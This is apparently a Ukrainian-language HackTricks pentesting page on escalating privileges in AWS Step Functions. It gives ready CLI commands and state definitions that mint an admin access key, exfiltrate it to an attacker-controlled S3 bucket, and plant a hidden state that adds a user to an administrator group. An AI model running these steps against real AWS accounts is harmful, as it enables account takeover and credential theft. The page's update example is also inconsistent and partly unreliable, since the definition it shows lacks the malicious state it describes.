AWS - Step Functions Privesc

Reading time: 8 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Step Functions

Для отримання додаткової інформації про цей сервіс AWS перегляньте:

AWS - Step Functions Enum

Ресурси завдань

Ці техніки ескалації привілеїв вимагатимуть використання деяких ресурсів AWS Step Functions для виконання потрібних дій з підвищення привілеїв.

Щоб перевірити всі можливі дії, ви можете перейти до свого облікового запису AWS, вибрати дію, яку хочете використати, і подивитися параметри, які вона використовує, як на прикладі:

Або ви також можете перейти до документації API AWS і перевірити документи для кожної дії:

states:TestState & iam:PassRole

Зловмисник, який має дозволи states:TestState та iam:PassRole, може тестувати будь-який state і передавати будь-яку IAM роль до нього без створення або оновлення існуючого state machine, що потенційно дозволяє несанкціонований доступ до інших AWS сервісів з правами, що надаються роллю. У поєднанні ці дозволи можуть призвести до широкого спектра несанкціонованих дій: від маніпуляцій робочими потоками і зміни даних до витоків даних, маніпуляції ресурсами та ескалації привілеїв.

bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

Наступні приклади показують, як протестувати стан, який створює access key для користувача admin, використовуючи ці дозволи та роль з широкими правами в середовищі AWS. Ця роль має бути пов'язана з будь-якою політикою з високими привілеями (наприклад arn:aws:iam::aws:policy/AdministratorAccess), яка дозволяє стану виконати дію iam:CreateAccessKey:

  • stateDefinition.json:
json
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • Команда виконана для проведення privesc:
bash
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

Потенційний вплив: Несанкціоноване виконання та маніпуляція робочими процесами й доступ до чутливих ресурсів, що може призвести до серйозних порушень безпеки.

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

Атакуючий з правами states:CreateStateMachine та iam:PassRole може створити машину станів (state machine) і призначити їй будь-який IAM role, що дозволить несанкціонований доступ до інших сервісів AWS з повноваженнями цієї ролі. На відміну від попередньої privesc technique (states:TestState & iam:PassRole), ця техніка не виконується сама по собі — вам також потрібні дозволи states:StartExecution або states:StartSyncExecution (states:StartSyncExecution не доступний для standard workflows, лише для express state machines), щоб запустити виконання машини станів.

bash
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

Наступні приклади показують, як створити state machine, яка створює access key для користувача admin та ексфільтрує цей access key у S3 bucket, контрольований атакуючим, використовуючи ці дозволи та permissive role в середовищі AWS. Ця permissive роль повинна мати будь-яку високо-привілейовану політику, пов'язану з нею (наприклад arn:aws:iam::aws:policy/AdministratorAccess), яка дозволяє state machine виконувати дії iam:CreateAccessKey та s3:putObject.

  • stateMachineDefinition.json:
json
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • Команда, виконана для створення машини станів:
bash
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • Команда виконана для запуску виконання раніше створеної машини станів:
json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

warning

Бакет S3, контрольований атакуючим, повинен мати дозволи на прийом дії s3:PutObject від облікового запису жертви.

Можливий вплив: Несанкціоноване виконання та маніпулювання робочими процесами і доступ до чутливих ресурсів, що може призвести до значних порушень безпеки.

states:UpdateStateMachine & (не завжди потрібний) iam:PassRole

Атакуюча особа з дозволом states:UpdateStateMachine може змінити визначення state machine, додавши приховані стани, які можуть призвести до ескалації привілеїв. Таким чином, коли легітимний користувач запускає виконання state machine, цей новий шкідливий прихований стан буде виконано і ескалація привілеїв відбудеться успішно.

Залежно від того, наскільки широкі права має IAM Role, пов'язана зі state machine, атакуючий опиниться в одній із двох ситуацій:

  1. З широкими правами IAM Role: Якщо IAM Role, пов'язана зі state machine, вже має широкі права (наприклад, до неї приєднана політика arn:aws:iam::aws:policy/AdministratorAccess), то дозвіл iam:PassRole не потрібен для ескалації привілеїв, оскільки не потрібно також оновлювати IAM Role — достатньо змінити визначення state machine.
  2. IAM Role без широких прав: На відміну від попереднього випадку, тут атакуючому також знадобиться дозвіл iam:PassRole, оскільки буде необхідно асоціювати до state machine більш дозволену IAM Role, на додачу до зміни визначення state machine.
bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

Наведені приклади показують, як оновити легітимну state machine, яка лише викликає HelloWorld Lambda function, щоб додати додатковий стан, який додає користувача unprivilegedUser до IAM Group administrator. Таким чином, коли легітимний користувач запускає виконання оновленої state machine, цей новий прихований шкідливий стан виконається й ескалація привілеїв буде успішною.

warning

Якщо state machine не має пов’язаної IAM Role з широкими правами, також буде необхідний дозвіл iam:PassRole для оновлення IAM Role, щоб асоціювати роль з широкими правами (наприклад роль з приєднаною політикою arn:aws:iam::aws:policy/AdministratorAccess).

json
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • Команда, виконана для оновлення легітимної машини станів:
bash
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

Potential Impact: Несанкціоноване виконання та маніпулювання робочими процесами й доступ до конфіденційних ресурсів, що може призвести до значних порушень безпеки.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks